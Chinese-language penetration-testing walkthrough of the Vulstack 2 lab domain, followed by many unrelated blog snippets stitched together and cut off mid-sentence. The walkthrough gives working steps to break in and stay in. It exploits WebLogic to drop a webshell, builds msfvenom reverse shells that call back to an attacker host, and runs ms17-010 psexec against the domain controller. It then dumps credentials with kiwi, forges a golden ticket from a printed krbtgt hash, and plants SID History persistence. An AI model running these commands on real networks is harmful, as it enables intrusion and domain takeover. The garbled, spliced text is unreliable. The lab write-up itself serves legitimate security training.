IP:10.10.10.10
OS:Windows 2012
默认初始密码登陆不进去,利用 de1ay/1qaz@WSX登陆
IP1:10.10.10.80
IP2:192.168.111.80
OS:Windows 2008
IP1:10.10.10.201
IP2:192.168.111.201
OS:Windows 7
kali
ip:192.168.111.130
内网网段:10.10.10.0/24
DMZ网段: 192.168.111.0/24
管理员账号密码:Administrator/1qaz@WSX
先从WEB机开始,注意需要手动开启服务,在 C:\Oracle\Middleware\user_projects\domains\base_domain\bin 下有一个 startWeblogic 的批处理,管理员身份运行它即可。
假定我们现在有目标ip:192.168.111.80 然后我们现在要进行端口扫描,此时我们ping目标发现无法ping通,此时推测目标开启了防火墙
对于防火墙而言,除非特殊定义,否则全部ICMP消息包将被禁止通过防火墙(即不能使用ping命令来检验网络连接是否建立)。
nmap -sS -sV 192.168.111.80
-sS 使用SYN半开式扫描
-sV 探测服务版本信息
SYN扫描:nmap向服务器发送一个syn数据报文,如果侦测到端口开放并返回SYN-ACK响应报文,nmap立即中断此次连接
或者直接
nmap -A -Pn -v -T4 192.168.111.80
-Pn 禁ping
-A 进行全面扫描(操作系统检测、版本检测、脚本检测和跟踪路由)
-T4 设置时序,级别越高速度越快
-v 显示更加详细的信息
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 7.5
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
|_http-title: Site doesn't have a title.
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows Server 2008 R2 Standard 7601 Service Pack 1 microsoft-ds
1433/tcp open ms-sql-s Microsoft SQL Server 2008 R2 10.50.4000.00; SP2
| ms-sql-ntlm-info:
| Target_Name: DE1AY
| NetBIOS_Domain_Name: DE1AY
| NetBIOS_Computer_Name: WEB
| DNS_Domain_Name: de1ay.com
| DNS_Computer_Name: WEB.de1ay.com
| DNS_Tree_Name: de1ay.com
|_ Product_Version: 6.1.7601
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Issuer: commonName=SSL_Self_Signed_Fallback
| Public Key type: rsa
| Public Key bits: 1024
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2023-04-12T06:18:51
| Not valid after: 2053-04-12T06:18:51
| MD5: 1736 763c f611 574c 41f8 1914 2a6b 8b64
|_SHA-1: 7559 d877 1a13 24d7 4f13 441e e8f7 9479 9b89 954e
|_ssl-date: 2023-04-11T17:07:25+00:00; -14h20m00s from scanner time.
3389/tcp open ms-wbt-server?
| rdp-ntlm-info:
| Target_Name: DE1AY
| NetBIOS_Domain_Name: DE1AY
| NetBIOS_Computer_Name: WEB
| DNS_Domain_Name: de1ay.com
| DNS_Computer_Name: WEB.de1ay.com
| DNS_Tree_Name: de1ay.com
| Product_Version: 6.1.7601
|_ System_Time: 2023-04-11T17:06:44+00:00
| ssl-cert: Subject: commonName=WEB.de1ay.com
| Issuer: commonName=WEB.de1ay.com
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2023-04-10T15:56:11
| Not valid after: 2023-10-10T15:56:11
| MD5: 9913 8605 3705 7183 2758 6234 6632 d053
|_SHA-1: c00d 9c0a 0e09 7888 2339 74ef 66c5 9736 49d2 22b5
|_ssl-date: 2023-04-11T17:07:24+00:00; -14h20m01s from scanner time.
7001/tcp open http Oracle WebLogic Server 10.3.6.0 (Servlet 2.5; JSP 2.1; T3 enabled)
|_http-title: Error 404--Not Found
|_weblogic-t3-info: T3 protocol in use (WebLogic version: 10.3.6.0)
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49156/tcp open msrpc Microsoft Windows RPC
OS: Windows Server 2008 R2 Standard 7601 Service Pack 1 (Windows Server 2008 R2 Standard 6.1)
| OS CPE: cpe:/o:microsoft:windows_server_2008::sp1
| Computer name: WEB
| NetBIOS computer name: WEB\x00
| Domain name: de1ay.com
| Forest name: de1ay.com
| FQDN: WEB.de1ay.com
很明显我们看到7001开放了weblogic服务,当然我们的基本素养就是知道7001端口是weblogc服务的默认端口,然后作为一个脚本小子肯定要用工具扫一下
用工具扫出来发现有 cve-2017-10271、cve-2019-2725漏洞
利用漏洞直接上传一个冰蝎木马
连接冰蝎
利用冰蝎直接反弹一个msf的shell,这里攻击机设置监听
然后利用集成的功能
上去之后我们意识到一个问题就是java维持的shell 没法getsystem,导致没法进一步利用,所以我们这里选择msf生成一个exe木马,上传到目标机器后再进一步利用
systeminfo 查看系统信息
也验证了我们之前端口扫描的 是一台x64机器 win2008r2
生成x64的exe木马
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.111.130 LPORT=6667 -f exe > n.exe
然后直接利用刚才的shell传入目标机器,这里失误传到web目录了,不过无伤大雅
本地设置监听
use exploit/multi/handler
set payload payload/windows/x64/meterpreter/reverse_tcp
set lport 6667
run
然后利用虚拟机终端运行得到shell
这里的坑点是我之前运行的exe崩溃了,导致后续的exe用虚拟终端运行了而监听的地方没反应
这里也是成功上线了,但是我之前tasklist /svc
的时候发现有360主动防御.exe,网上的一些文章说的是因为360的版本太低,没法杀死我的shell,后来发现这里是我没开启360,就先跳过这个免杀吧 ,后面补上。
有了shell之后简单的进行进程迁移,当前进程迁移到其他进程后 权限可能会根据进程权限而改变 可以找高权限的类似
这里我看这个是高权限的,然后就迁移了一下,莫名其妙获得了system权限,这里没搞懂,挖个坑。也不知道这个是不是真实的system权限
这里就很明显是了,而且hostname和whoami得到的前缀也不同
systeminfo
确定是域环境:域名为de1ay.com
这个的话就是可以大致得到一个网段的相关信息,以及可能存在的一些pc的ip,这里判断出192.168.111.0/24是外网的,10.10.10.0/24可能是内网的,我觉得dynamic的是要重点关注的
arp -a
ipconfig /all
这里我们看到10.10.10.0/24网段的dns服务器为10.10.10.10 极有可能就是域控服务器
一般为时间服务器
net time /domain
ping 一下域控,得到ip就是 10.10.10.10
net view
我们知道是总共有三台机子的,pc dc web 但是我们这里只发现了dc和web两台机子
net view 这个命令可以查看网络计算机列表和共享的资源,具体的原因就是pc机器没有开启共享
我们到pc机里面看一下 确实是关闭了网络发现和文件、打印机共享
可以使用以下命令查看相应主机,但是吧,我们直接获得的就是域管理员的权限,所以能查看这个,当然相应的我们也可以去看其他的域内组,获得更多信息,至于为啥这里没有看到dc,因为dc机器属于域控制器了,在domain Controllers组里面
net group "domain computers" /domain
net user /domain
前提是我们需要是一个system权限,这里我是迁移了一下
load_kiwi
creds_all
我们知道了 administrator mssql de1ay用户的密码都是1qaz@WSX
arp扫描内网网段
run post/windows/gather/arp_scanner RHOSTS=10.10.10.0/24
扫描存活主机:
use auxiliary/scanner/smb/smb_version
这里不知道啥原因error了,不过结果应该和下面没太多区别
netbios做主机存货探测
use auxiliary/scanner/netbios/nbname
这里由于pc机开启了防火墙,所以无法探测到其存活
icmp协议探测
for /L %I in (1,1,254) DO @ping -w 1 -n 1 10.10.10.%I | findstr "TTL="
也是防火墙的原因,没探测到201机器的存活
总之经过以上的探测我们知道了,10.10.10.0/24网段中存在三台主机
这里还用了smb_version,我推测的话就是扫网段的话用的netbios,对单个目标的话的话就是smb扫描
use auxiliary/scanner/smb/smb_version
这里也是可以知道pc是win7,dc是2012 r2
这里注意使用bind_tcp
use exploit/windows/smb/ms17_010_psexec
set payload windows/meterpreter/bind_tcp
set rhosts 10.10.10.10
run
这里直接获得shell
同样的攻击方式没有成功,猜测是因为存在防火墙and 360
use windows/smb/psexec
这里psexec没通,不知道为啥,密码的话已经不是1qaz@WSX了,因为登陆了dc机器后密码策略改了
黄金票据可以在拥有普通域用户权限和KRBTGT账号的哈希的情况下用来获取域管理员权限,上面已经获得域控的 system 权限了,还可以使用黄金票据做权限维持,即使日后当域控权限掉了,也可以再通过域内其他任意机器伪造票据重新获取最高权限。
条件:
1.域名称
de1ay.com
2.域的SID值
wmic useraccount get name,sid
S-1-5-21-2756371121-2868759905-3853650604
3.域的KRBTGT账户NTLM密码哈希
hashdump
82dfc71b72a11ef37d663047bc2088fb
4.伪造用户名
admin
利用kiwi生成黄金票据
golden_ticket_create -d de1ay.com -k 82dfc71b72a11ef37d663047bc2088fb -s S-1-5-21-2756371121-2868759905-3853650604 -u admin -t /home/zinc/admin.ticket
然后使用
kerberos_ticket_use /home/zinc/admin.ticket
在Windows中,每个用户都有自己的SID。SID的作用主要是跟踪安全主体控制用户连接资源时的访问权限。
如果将A域中的域用户迁移到B域中,那么在B域中该用户的SID会随之改变,进而影响迁移后用户的权限,导致迁移后的用户不能访问本来可以访问的资源。SID History的作用是在域迁移过程中保持域用户的访问权限,即如果迁移后用户的SID改变了,系统会将其原来的SID添加到迁移后用户的SID History属性中,使迁移后的用户保持原有权限、能够访问其原来可以访问的资源。使用mimikatz,可以将SID History属性添加到域中任意用户的SID History属性中。在实战中,如果获得了域管理员权限,则可以将SID History作为实现持久化的方法。
首先我们在域控制器上新建一个恶意用户“whoami”:
net user whoami test123 /add
然后像之前一样用shellcode_inject启动mimikatz,然后执行如下命令,将域管理员Administrator的SID添加到恶意域用户 whoami 的SID History属性中
privilege::debug
sid::patch
sid::add /sam:whoami /new:Administrator //将Administrator的SID添加到whoami的SID History属性中
注意:在使用mimikatz注入SID之前,需要使用 sid::patch 命令修复NTDS服务,否则无法将高权限的SID注入低权限用户的SID History属性;mimikatz在2.1版本后,将 misc:addsid 模块添加到了 sid:add 模块下。
然后,我们可以用powershell查看一下这个whoami恶意用户的SID History:
load powershell
powershell_shell
Import-Module activedirectory
Get-ADUser whoami -Properties sidhistory
Get-ADUser administrator -Properties sidhistory
那么现在我们的whoami用户便拥有了administrator域管理员的权限,并可以用该用户随时登录域控主机。
总体流程的话采用信息收集->漏洞利用,好像中间并没有涉及太多隧道搭建的东西,因为都用的msf,所以直接用msf+路由然后处理的,对于360的免杀也没有太多考量,可能是版本太低,没触发?所以后来我干脆用msf+多重编码+捆绑的方法简单免杀了,后续如果学习更多免杀的话再补上吧,总体下来感觉内网部分和1没有啥区别
参考资料:
http://malabis.site/2022/07/29/Vulstack2/#%E6%A8%AA%E5%90%91%E6%8F%90%E6%9D%83
http://mp.weixin.qq.com/s?__biz=Mzg4MjcxMTAwMQ==&mid=2247486662&idx=1&sn=321f2e5de67ef371f452627b8f0c2068&chksm=cf53cc70f8244566004cef6a52e2bc4313bcf64efd551a4f33c2d68d393394f3b4037707fe8e&mpshare=1&scene=23&srcid=0414svYto0eE6JdwovHey2Kl&sharer_sharetime=1681435464853&sharer_shareid=6eea79ff6da57fc6752ab0bc570bf392#rd
http://blog.csdn.net/qq_45290991/article/details/120401976
大家好,又见面了,我是你们的朋友全栈君。需求分析系统有千万级的禁词需要去过滤 当中包含人名特殊符号组成的语句网址单字组合成的敏感词等等复制初步设计 1.解决千万级禁词存储及查找问题 2.解决被过滤文本内容过多问题复制详细设计 1.采用ES作为禁词库千万级数据检索时间在毫秒级满足需求 2.不适用分词器需要完整匹配分词后很多词都是合法的组合之后才是敏感词 3.被过滤文本内容分词不完整利用IK分词器分词结果不适合现在的业务场景 只能采用字符串分割的方式来匹配ES库 带来的问题就是效率低下同步多线程下千字也需要将近4秒 考虑采用异步模式来解决大数据量需要审核状态复制发布者:全栈程序员栈长,转载请注明出处:https://javaforall.cn/138801.html原文链接:https://javaforall.cn
大家好,又见面了,我是你们的朋友全栈君。摘要:本收藏夹内容为自己看《手把手教你学dspTMS320X281X》(顾卫刚版)图书的笔记,只是记录一下自己学习的思想历程。由于自己硬件学习也是新手,如有错误,请评论或者私信指出,如果看见一定更正;如果感觉本文对您有帮助,可以给个点赞;顺便可以关注或收藏一波不迷路。目录1DSP定义2DSP特点3DSP选择4DSP型号含义5软件配置6如何学习DSP1DSP定义数字信号处理器。 由于现实中大多数信号为模拟信号,AD转化模块可将模拟信号采样、编码转化为数字信号。DSP信号可方便对这些数字信号进行变换滤波操作。2DSP特点3DSP选择主要以TI公司的TSM320系列芯片为主,其他ADI和Freescale公司也有少量市场份额。4DSP型号含义这部分心里看一遍有点印象就好,多看几遍就记住了,反正常用的就那几款芯片,选型的时候可以有一个初步的选择。5软件配置主要包含以下五方面的配置(后期实验根据自己选择的软件再写相关教程):CCS安装,网上教程较多,此处不再赘述仿真器驱动安装CCS板子配置平台搭建6如何学习DSP看书+TI公司原文文件学习头文件及寄存器的配
对于基于转录组数据来评价样本当中的免疫细胞浸润情况的算法已经开发出了很多种了。之前我们在介绍TIMER2.0以及这两个免疫浸润数据库的时候,也提到了很多中算法。例如GEPIA2021就是基于CIBERSORT,EPIC,quanTIseq这三种算法来进行评价了。那么对于免疫浸润算法这么多,哪个算法更好一些的呢?所以今天我们就来简单的介绍一个评价了多个免疫浸润算法的综述。在这个文章当中,作者对常用的七种个免疫浸润算法(CIBERSORT,CIBERSORTabs.mode,EPIC,MCP-counter,quanTIseq,TIMER以及xcell)进行了评价。首先作者总结了这七种算法的基本类型以及基本的原理。免疫算法原理方法可以区分为基于标记基因的方法(M)和基于反卷积的方法(D)。这些方法在有的可以进行细胞类型之间的样本内比较(Intra)、有的可以进行相同细胞类型的样本间比较(Inter)。免疫算法选择推荐最后文章基于不同的目的提供了一个最终的结论。其中,EPIC和quantTIseq是唯一提供代表细胞分数的“绝对分数”的方法。因此这两个算法可以进行不同免疫细胞之间的比较。出于这
我们写程序的目的就是使它在任何情况下都可以稳定工作。一个运行的很快但是结果错误的程序并没有任何用处。在程序开发和优化的过程中,我们必须考虑代码使用的方式,以及影响它的关键因素。通常,我们必须在程序的简洁性与它的运行速度之间做出权衡。今天我们就来聊一聊如何优化程序的性能。1.减小程序计算量1.1示例代码1.2分析代码1.3改进代码2.提取代码中的公共部分2.1示例代码2.2分析代码2.3改进代码3.消除循环中低效代码3.1示例代码3.2分析代码3.3改进代码4.消除不必要的内存引用4.1示例代码4.2分析代码4.3改进代码5.减小不必要的调用5.1示例代码5.2分析代码5.3改进代码6.循环展开6.1示例代码6.2分析代码6.3改进代码7.累计变量,多路并行7.1示例代码7.2分析代码7.3改进代码8.重新结合变换8.1示例代码8.2分析代码8.3改进代码9条件传送风格的代码9.1示例代码9.2分析代码9.3改进代码10.总结1.减小程序计算量1.1示例代码for(i=0;i<n;i++){ intni=n*i; for(j=0;j<n;j++) a[ni+j]=b[j];
首先找到文件上传的窗口,然后判断是服务器端还是客户端的验证,客户端较容易判断出来,最后检验是哪种服务器端的过滤方式。判断是客户端和服务端检验,再检验是白名单还是黑名单,根据具体情况来决定采用什么绕过方式。文件上传漏洞:服务器端和客户端服务器端:.htaccess攻击:这个攻击主要是上传一个.htaccess文件,让我们上传到服务器端的文件能运行起来看一段代码来理解下:<FilesMatch"Monster"> SetHandlerapplication/x-httpd一php </FilesMatch> 复制这段代码的意思就是,我上传的文件,只要是Monster.xxx就以php格式运行,例如当我上传一个Monster.txt,当我访问这个文件的时候,这个文件就会以php形式运行起来。 这个漏洞主要应用在:上传漏洞getshell,维持访问后门。%00截断上传当服务器端过滤文件的时候,是通过判断文件后缀来审查文件。我们可以在传输这个文件改变文件的后缀名,例如:www.xxx.com/qq.jpg(正常文件上传)www.xxx.com/qq.p
之前在公司内部以推文为教材做过一些简单的入门培训,最近有个契机需要对外直播选个主题,就把这个入门课程重新编排了一下,内容也更加的丰富。因为是入门课程,我会从关系数据库到NoSQL的历史,从NoSQL到图,从图的概念到图建模,从建模到场景,这样一个循序渐进的过程来展开。另外通过这个入门课程试水,看看外部对这个图领域的培训需求有多大,就目前来说这个市场是基本空白。 当然ppt是无法动态演示实操过程(如果有机会可以考虑以视频的方式呈献给大家),其中SQL章节是希望读者自行去安装真正动手去练习的。否则通过本文最多只能算是帮你做了个概念澄清,对后面的进阶是没有任何帮助的。 另外,若想获取完整无水印的PDF和视频请公众号直接回复“graphdb”即可。Amoderndatabaseengineeredforgreatnessfromthegroundup.It’stimetodosomethingepicwithyourdata.OrientDBEnterpriseEdition3.0expandsfromanunparalleledlegacyofpowerfulmulti-modelconce
热乎乎的网易游戏游戏研发工程师一面:面试小哥哥人很好说话,没有自我介绍直接进入主题,先聊了C++,然后数据结构,最后两道算法题const的作用,宏定义与const的区别定义一个class,编译器的内存分配函数重载,模板template,用法和区别多态、虚函数、智能指针指针与引用的区别TCP和UDP的区别,tcp的可靠性怎么保证(三次握手、四次挥手、确认序列号)进程和线程的区别、进程如何调度(扯了进程维护线程池,临界区、事务、信号量、信号)进程安全如何保证(扯了进程的数据同步和锁的实现)cache的作用和实现机制,讲了LRU、FIFO和LEU,详细介绍了LRU的三种实现hash冲突,怎么解决(散链表,双重hash,等等)数据库B+树(不了解B+树,扯了扯红黑树)给你一个表(数据很大),有用户名和数据,如何快速检索某条数据(对索引排序+二分查找,对索引建表,在新表里可以用hash、分区等操作)对数据压缩熟悉不(不熟悉,实习的时候直接调用导师接口,面试官就没接着问)只有大小写英文字母的文本文档,数据量很大,如何压缩表示(因为我说了不懂数据压缩,就出了一个相关问题):哈夫曼编码+详细实现过程,
一、增量备份脚本#!/bin/bash #svn 增量备份脚本 repos_path="/home/svn/repos" repos=`ls $repos_path` Date=`date +%Y%m%d` backup_path="/data1/backup/svn/" echo `date` >> $backup_path/svn_backup.log for i in $repos do pre_youngest=`cat $backup_path/$i/youngest_revision` #获取上次备份到的版本号 youngest=`svnlook youngest $repos_path/$i` #获取最后提交的版本号 if [ $pre_youngest -eq $youngest ] then echo "$i has no new revisions to backup." >> $backup_path/svn_backup.log continue fi first_younges
序言:最近一直在拓展自己的技术栈,提高提高自己的技术眼界。8月份投了一家上海某公司的实习,Android方面的知识点聊起来都很nice,各种源码分析和框架等等,然后问了一个rn调用原生的问题,因为才刚接触,还处在搭环境,所以没回答上来,还是有点可惜的,但是,现在知道了,发现有点晚了.......,不过还是很享受面试的过程,他能唤醒我对知识的渴望,不为每天工作的忙碌而失去初心。今天讲的这个例子虽然官网有,但是官网篇幅比较僵硬,都是在引导一个对代码的过程,跟ctrl+c、ctrl+v没什么区别,无法引起读者举一反三。还有一个比较严重的是,逛博客的时候看到圈内比较出名博主的博客,有些博文直接照搬官网,没有自己的理解概念,这样的博文简直就是灌水。这次的博文,读者可以先看看官网的例子,然后在看看我的步骤,你会有一种豁然开朗的感觉。 步骤1打开项目找共同点:先通过AndroidStudio打开rn创建的android项目,然后我们先看看整个项目的结构和代码,我们主要看MainApplication这了类,这个类的核心在getReactNativeHost方法,他拿到了rn与native通信的的手柄
HybridApp现状分析WebApp毫无疑问WebApp就是成本最低,最快速地解决方案了。尤其是近两年非常流行的响应式设计,WebApp市场提供了非常好的实践场地。最近典型的WebApp最佳案例是Sun天气应用了,其细节处理让人赞不绝口。HybridApp一般来说,拥有下面特点的就是一个WebApp了:使用浏览器运行;纯Web前端架构,很多重要手机特性无法访问,例如联系人以及Pushnotification之类的;SinglePageApp;销售渠道多限于浏览器。所谓的HybridApp其实会有不同的分支。而且会和Native应用有重合的地方。下面就说三种不同的解决方案。方案一:使用PhoneGap、AppCan之类的中间件,以WebView作为用户界面层,以Javascript作为基本逻辑,以及和中间件通讯,再由中间件访问底层API的方式,进行应用开发。这种架构一般会非常依赖WebView层的性能。方案二:使用AdobeAir、RubyMotion、Appcelerator或者是Xamarin这种非官方语言的工具,打包成原生应用的方式开发。为什么笔者会将它们定义为HybridApp
1.什么是Knative? Knative是Google2018的GoogleCloudNext大会上发布的一款基于kubernetes的Serverless框架。Knative最初由Google打造,现在有50多家不同公司向其贡献过代码。它提供了一组必备组件,用于在Kubernetes上构建和运行无服务器应用。Knative为Kubernetes上的云原生应用提供缩减至零、自动扩缩、集群内构建以及事件框架等功能。无论是在本地、云端还是第三方数据中心,Knative都可以应用来源于实践中基于Kubernetes的成功框架的标准化最佳实践。最重要的是,Knative使开发者能够专注于编写代码,而无需担心构建、部署和管理应用等“单调而棘手”的工作。 knative的目的是在kubernetes之上提供一个简单、一致的层,以解决在开发人员和平台之间创建更牢固的边界,使得开发人员可以专注他们的业务逻辑。knative是建立在kubernetes和Istio平台之上的,使用了kubernetes提供的容器管理组件(deployment、service、Pod、ConfigMap等)以及Isti
一. Nginx动静分离 1. 准备 1个web程序:部署在7061端口,启动【dotnetNginxWeb.dll--urls="http://*:7061"--ip="127.0.0.1"--port=7061】 Nginx程序:监听7000端口 2. 目的 比如单独启动部署在7061端口下的web程序,进行访问,我们会发现,除了请求的加载,还有很多静态css、js、图片等资源的加载,这些资源的加载也是占服务器带宽的,假设带宽为1m,几个大图片直接就占满了。 所以这里引入动静分离,将静态资源单独隔离出来,不占据主服务器的带宽,同时也有利于静态资源做缓存处理。 3. 实操 方案1:在Nginx同一个Server实现动静分离 剖析: 将wwwroot文件夹从发布包中单独处理出来,然后通过location配置绝对地址,实现静态资源的分离。 缺点:动静资源在一个虚拟主机中,那么静态资源和动态资源共享同一个资源,如果静态或者动态资源访问量比较大,把
djangomanager 在语句Book.objects.all()中,objects是一个特殊的属性,需要通过它查询数据库。 总之,模块manager是一个对象,Django模块通过它进行数据库查询。每个Django模块至少有一个manager,你可以创建自定义manager以定制数据库访问。 创建自定义manager:1)增加额外的manager方法2)修manager返回的初始QuerySet。 增加额外的Manager方法 增加额外的manager方法是为模块添加表级功能的首选办法。 例如,我们为Book模型定义了一个title_count()方法,它需要一个关键字,返回包含这个关键字的书的数量。(这个例子有点牵强,不过它可以说明managers如何工作。) #models.py fromdjango.dbimportmodels classBookManager(models.Manager): deftitle_count(self,keyword): returnself.filter(title__icontains=keyword).count() c
前言 通常情况下,在Linux终端中运行命令时,我们必须等前一命令执行完成后,在输入并执行后一条命令,称之为在前台或前台进程中运行命令,进程在前台运行时,将占用您的外壳,并且您也可以使用输入设备与其终端进行交互。 当一条命令执行需要很长时间才能完成,并且想同时运行其他命令怎么办呢? 第一:启动新的Shell会话并在其中运行命令; 第二:在后台运行命令; 后台进程是从终端启动并在后台运行,无需用户与其终端进行交互的进程及命令; 一、组合键及命令 以httpd-2.2.17.tar.gz压缩包为例,比如一个压缩包文件解压需在终端屏幕下解压很长时间,甚至要刷很长一段屏幕才能解压完毕,那么我们可以按下Ctrl+Z组合键,便可以暂停运行并隐藏到后台,将会返回一个停止序号,此时进程时暂停的,并不会继续运行。 输入bg命令即可继续将该任务在后台执行。 输入fg+序号命令即可让进程返回到前台执行。 执行过程中,可以输入jobs命令来查看所有的后台任务了。 tar-zxfhttpd-2.2.17.tar.gz##解压httpd压缩包 ^Z##按下Ctrl+Z组合键暂停 [1]+Stoppedtar-zx
通过截取字符转换和移动ASCII的方式来实现首字母大小写的转换。 protectedstaticStringfirstUpperCase(Stringstr){ returnstr.substring(0,1).toUpperCase()+str.substring(1); } protectedstaticStringfirstLowerCase(Stringstr){ returnstr.substring(0,1).toLowerCase()+str.substring(1); }复制 protectedstaticStringfirstUpperCase(Stringstr){ char[]cs=str.toCharArray(); cs[0]-=32; returnString.valueOf(cs); } protectedstaticStringfirstLowerCase(Stringstr){ char[]cs=str.toCharArray(); cs[0]+=32; returnString.valueOf(cs); }复制
题目1:SPOJ2832 题目大意: 求一个矩阵行列式模一个数P后的值。p不一定是质数。 算法讨论: 因为有除法而且p不一定是质数,不一定有逆元,所以我们用辗转相除法。 1#include<cstdio> 2#include<iostream> 3#include<cstdlib> 4#include<cstring> 5#include<algorithm> 6 7usingnamespacestd; 8 9constintN=205; 10typedeflonglongll; 11 12intn; 13llp,mat[N][N]; 14 15lldet(lla[N][N]){ 16llres=1; 17 18for(inti=1;i<=n;++i){ 19for(intj=i+1;j<=n;++j){ 20while(a[j][i]){ 21llt=a[i][i]/a[j][i]; 22 23for(intk=i;k<=n;++k) 24a[i][k]=(a[i][k]-a[j][k]*t)%p; 2
一、内容结构 二、笔记 第二章 有限马尔可夫决策的三个基本方法:动态规划、蒙特卡罗方法和时序差分学习 K臂赌博机问题 动作的选择贪心,或者$\epsilon$概率随机选择策略 增量式实现估计$Q_{n+1}=Q_{n}+\frac{1}{n}[R_{n}-Q_{n}]$ 估计的更新方式:新估计值 ←旧估计值+步长*[目标-旧估计值] 简单的多臂赌博机算法 如果收益平稳则$Q_{n}$可以用简单的平均法,对于非平稳收益,可以采用加权平均(距离当前收益越近权值越大) Upperconfidencebound,UCB. $A_{t}=argmax_{t}[Q_{t}(a)+c\sqrt{\frac{lnt}{N_{t}(a)}}]$. 根号项为不确定性或方差的度量。$N_{t}$为选择动作a的次数。t为总次数。 随机梯度上学习实现赌博机算法$H_{t+1}(a)=H_{t}(a)+\alpha(R_{t}-\bar{R_{t}})(I(a=A_{t})-\pi_{t}(a))$ 第52页 谢谢!
写在前面 本文主要是讲了菜鸡作者(我)在面对文件上传的需求的时候的一些解决方法,如果有问题或者有更改的方法欢迎大家指出。 文件上传 事情的起因是项目中有个需求是上传文件,然后文件上传大家都知道直接丢formData里面给后端就好了 cosntformData=newFormData(), formData.append('file',file); //发送文件 this.sendFile(formData) 复制 二进制文件流上传 本以为这样就结束了,但是后来开始联调的时候才发现后端需要的是二进制文件。完蛋没有碰到过这种情况呀,二进制?是要把文件转换成二进制文件么,马上就去查了一下,了解到了上传文件时input会返回上传的文件的FileList对象,每一个文件是其中的一个File对象,然后有一个FileReader对象可以读取文件,然后他有readAsArrayBuffer()的方法可以把读到的内容转换成ArrayBuffer对象,然后FileReader读取文件是异步的,在读取结束的时候回触发onload事件通过这些就可以得到下面的代码 //新建一个FileReader对象 cons
1.介绍 ArcScan是ArcInfo,ArcEditor和ArcView中的栅格矢量化扩展 ArcScan提供一套强大的易于使用的栅格矢量化工具。用这些工具可以自己创建要素,也可以把栅格数据的一部分或全部栅格化成矢量要素。ArcScan和ArcGIS的ArcMap编辑环境完全集成在一起,还提供简单的栅格编辑工具,可以在进行批量转换前,擦除和填充栅格区域以提高批处理效率,减少后处理工作量。 ArcScan可以把栅格影像转成shape或Geodatabase. 批量栅格化 ArcScan的一个很重要的特色是可以自动把栅格数据转成矢量数据。 这个过程,也就是我们所说的批量栅格化,可以很大程度上减少栅格化的时间。 ArcScan支持两种矢量化方式,中线矢量化和边界矢量化。根据你所使用的扫描数据的内容,你要选定不同的矢量化方式。 o中线矢量化从栅格数据中的线性元素中生成矢量要素。通常用来矢量化地块和测绘地图。 o边线栅格化从栅格数据的边界生成要素,通常用来栅格化土地利用和植被。 交互栅格化 &nb
--获取所有数据库名:SELECTnameFROMmaster..sysdatabasesWHEREnameNOTIN('master','model','msdb','tempdb','northwind','pubs') --获取某数据库的所有表:SELECTnameFROMYiDianTongV2..sysobjectsWherextype='U'ORDERBYname--获取所有表名--XType='U':表示所有用户表;--XType='S':表示所有系统表; --获取某表所有字段名:SELECT*FROMsyscolumnsWHEREid=Object_Id('AdminsBase') --获取数据库所有类型selectnamefromsystypes --获取某表的主键字段SELECTnameFROMsyscolumnsWHEREid=Object_Id('AdminsBase')andcolidIN(SELECTkeynofromsysindexkeysWHEREid=Object_Id('AdminsBase')) --存储过程获取主键execsp_helpindex
一、认证原理 1、subject(主体)请求认真,调用subject.login(token) 2、SecurityManager(安全管理器)执行认证 3、SecurityManager通过ModularRealmAuthenticator进行认证。 4、ModularRealmAuthenticator将token传给realm,realm根据token中用户信息从数据库查询用户信息(包括身份和凭证) 5、realm如果查询不到用户给ModularRealmAuthenticator返回null,ModularRealmAuthenticator抛出异常(用户不存在) 6、realm如果查询到用户给ModularRealmAuthenticator返回AuthenticationInfo(认证信息) 7、ModularRealmAuthenticator拿着AuthenticationInfo(认证信息)去进行凭证(密码)比对。如果一致则认证通过,如果不致抛出异常(凭证错误)。 二、授权原理 1、对subject